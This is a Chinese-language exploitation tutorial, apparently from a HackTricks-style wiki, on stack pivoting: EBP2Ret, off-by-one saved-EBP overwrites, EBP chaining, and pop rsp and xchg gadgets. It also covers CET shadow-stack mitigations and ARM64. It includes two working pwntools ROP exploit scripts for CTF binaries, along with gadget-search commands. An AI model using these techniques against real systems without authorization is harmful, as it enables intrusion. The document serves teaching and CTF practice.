# Stack Pivoting - EBP2Ret - EBP chaining

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## 基本信息

此技术利用操控 **基指针 (EBP/RBP)** 的能力，通过仔细使用帧指针和 **`leave; ret`** 指令序列来链接多个函数的执行。

作为提醒，在 x86/x86-64 中 **`leave`** 等同于：
```
mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret
```
并且由于保存的 **EBP/RBP 在栈中** 位于保存的 EIP/RIP 之前，因此可以通过控制栈来控制它。

> 注意
> - 在 64 位系统中，将 EBP 替换为 RBP，将 ESP 替换为 RSP。语义相同。
> - 一些编译器省略了帧指针（参见“EBP 可能未被使用”）。在这种情况下，`leave` 可能不会出现，这种技术将无法工作。

### EBP2Ret

当你可以 **更改保存的 EBP/RBP 但没有直接方法更改 EIP/RIP** 时，这种技术特别有用。它利用了函数尾声的行为。

如果在 `fvuln` 执行期间，你设法在栈中注入一个 **假 EBP**，指向内存中你的 shellcode/ROP 链地址所在的区域（在 amd64 上加 8 字节 / 在 x86 上加 4 字节以考虑 `pop`），你可以间接控制 RIP。当函数返回时，`leave` 将 RSP 设置为构造的位置，随后的 `pop rbp` 减少 RSP，**有效地使其指向攻击者存储的地址**。然后 `ret` 将使用该地址。

注意你 **需要知道 2 个地址**：ESP/RSP 将要去的地址，以及 `ret` 将消耗的存储在该地址的值。

#### 利用构造

首先，你需要知道一个 **可以写入任意数据/地址的地址**。RSP 将指向这里并 **消耗第一个 `ret`**。

然后，你需要选择 `ret` 使用的地址，以 **转移执行**。你可以使用：

- 一个有效的 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 地址。
- **`system()`** 的地址，后面跟着适当的返回和参数（在 x86 上：`ret` 目标 = `&system`，然后 4 个垃圾字节，然后 `&"/bin/sh"`）。
- 一个 **`jmp esp;`** gadget 的地址（[**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)），后面跟着内联 shellcode。
- 一个在可写内存中分阶段的 [**ROP**](../rop-return-oriented-programing/index.html) 链。

记住，在这些地址之前，受控区域中必须有 **`pop ebp/rbp`** 的空间（amd64 上为 8B，x86 上为 4B）。你可以利用这些字节设置一个 **第二个假 EBP**，并在第一次调用返回后保持控制。

#### Off-By-One 利用

当你 **只能修改保存的 EBP/RBP 的最低有效字节** 时，会使用一种变体。在这种情况下，存储要跳转到的地址的内存位置必须与原始 EBP/RBP 共享前三/五个字节，以便 1 字节的覆盖可以重定向它。通常低字节（偏移量 0x00）会增加，以尽可能远地跳转到附近的页面/对齐区域。

在栈中使用 RET sled 并将真实的 ROP 链放在末尾也是常见的做法，以使新的 RSP 更有可能指向 sled 内部，并执行最终的 ROP 链。

### EBP 链接

通过在栈的保存 `EBP` 槽中放置一个受控地址，并在 `EIP/RIP` 中放置一个 `leave; ret` gadget，可以 **将 `ESP/RSP` 移动到攻击者控制的地址**。

现在 `RSP` 被控制，下一条指令是 `ret`。在受控内存中放置类似以下内容：

- `&(next fake EBP)` -> 由 `leave` 中的 `pop ebp/rbp` 加载。
- `&system()` -> 由 `ret` 调用。
- `&(leave;ret)` -> 在 `system` 结束后，将 RSP 移动到下一个假 EBP 并继续。
- `&("/bin/sh")` -> `system` 的参数。

通过这种方式，可以链接多个假 EBP 来控制程序的流程。

这类似于 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html)，但更复杂，仅在边缘情况下有用。

此外，这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术与 **栈泄漏** 一起调用一个成功的函数。这是页面的最终有效载荷：
```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 对齐提示：System V ABI 要求在调用点进行 16 字节的栈对齐。如果你的链调用像 `system` 这样的函数，请在调用之前添加一个对齐小工具（例如，`ret` 或 `sub rsp, 8 ; ret`）以保持对齐并避免 `movaps` 崩溃。

## EBP 可能未被使用

正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件是使用某些优化或省略帧指针编译的，**EBP/RBP 从未控制 ESP/RSP**。因此，任何通过控制 EBP/RBP 的利用都会失败，因为序言/尾声不会从帧指针恢复。

- 未优化 / 使用帧指针：
```bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
```
- 优化 / 框架指针省略：
```bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return
```
在amd64上，你通常会看到`pop rbp ; ret`而不是`leave ; ret`，但如果完全省略了帧指针，那么就没有基于`rbp`的尾声可以进行跳转。

## 控制RSP的其他方法

### `pop rsp` gadget

[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)你可以找到使用此技术的示例。对于该挑战，需要调用一个带有两个特定参数的函数，并且有一个**`pop rsp` gadget**，还有一个**来自栈的泄漏**：
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())
```
### xchg <reg>, rsp gadget
```
pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp

在这里查看 ret2esp 技术：

{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}

### 快速查找 pivot gadgets

使用您喜欢的 gadget 查找器搜索经典的 pivot 原语：

- `leave ; ret` 在函数或库中
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` （或在 x86 上使用 `add esp, <imm> ; ret`）

示例：
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### 经典的透视阶段模式

在许多CTF/漏洞中使用的强大透视策略：

1) 使用小的初始溢出调用 `read`/`recv` 到一个大的可写区域（例如，`.bss`、堆或映射的RW内存），并将完整的ROP链放置在那里。
2) 返回到一个透视小工具（`leave ; ret`、`pop rsp`、`xchg rax, rsp ; ret`）以将RSP移动到该区域。
3) 继续使用分阶段链（例如，泄漏libc，调用 `mprotect`，然后 `read` shellcode，然后跳转到它）。

## 现代缓解措施破坏堆栈透视（CET/阴影堆栈）

现代x86 CPU和操作系统越来越多地部署 **CET阴影堆栈（SHSTK）**。启用SHSTK后，`ret`会将正常堆栈上的返回地址与硬件保护的阴影堆栈进行比较；任何不匹配都会引发控制保护故障并终止进程。因此，像EBP2Ret/leave;ret基础的透视技术将在从透视堆栈执行第一个`ret`时崩溃。

- 有关背景和更深入的细节，请参见：

{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}

- 在Linux上的快速检查：
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- 实验室/CTF 注意事项：
- 一些现代发行版在硬件和 glibc 支持存在时，为启用 CET 的二进制文件启用 SHSTK。对于在虚拟机中的受控测试，可以通过内核启动参数 `nousershstk` 全局禁用 SHSTK，或在启动时通过 glibc 可调参数选择性启用（参见参考文献）。不要在生产目标上禁用缓解措施。
- 基于 JOP/COOP 或 SROP 的技术在某些目标上仍然可能有效，但 SHSTK 特别破坏了基于 `ret` 的枢轴。

- Windows 注意事项：Windows 10+ 暴露用户模式，Windows 11 添加了基于“硬件强制堆栈保护”的内核模式，建立在阴影堆栈之上。兼容 CET 的进程在 `ret` 时防止堆栈枢轴/ROP；开发人员通过 CETCOMPAT 和相关策略选择加入（参见参考文献）。

## ARM64

在 ARM64 中，函数的 **前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外，**`RET`** 指令不会返回到 SP 指向的地址，而是 **返回到 `x30` 内的地址**。

因此，默认情况下，仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP，你仍然需要一种方法来 **控制 `x30`** 寄存器。

- 前言

```armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP 指向帧记录
```

- 尾声

```armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```

> [!CAUTION]
> 在 ARM64 中执行类似堆栈枢轴的方式是能够 **控制 `SP`**（通过控制某个寄存器，其值传递给 `SP`，或者因为某种原因 `SP` 从堆栈获取其地址而我们有溢出）然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。

在以下页面中，你可以看到 **Ret2esp 在 ARM64 中的等效物**：

{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}

## 参考文献

- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 位，越界利用，使用以 ret sled 开头的 rop 链
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 位，无 relro、canary、nx 和 pie。该程序为堆栈或 pie 提供了泄漏和一个 qword 的 WWW。首先获取堆栈泄漏，然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环（[更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)）。利用这个“永恒”的写入，在 .bss 中写入一个 ROP 链并最终调用它，使用 RBP 进行枢轴。
- Linux 内核文档：控制流保护技术（CET）阴影堆栈 — 关于 SHSTK、`nousershstk`、`/proc/$PID/status` 标志和通过 `arch_prctl` 启用的详细信息。 https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn：内核模式硬件强制堆栈保护（Windows 上的 CET 阴影堆栈）。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection

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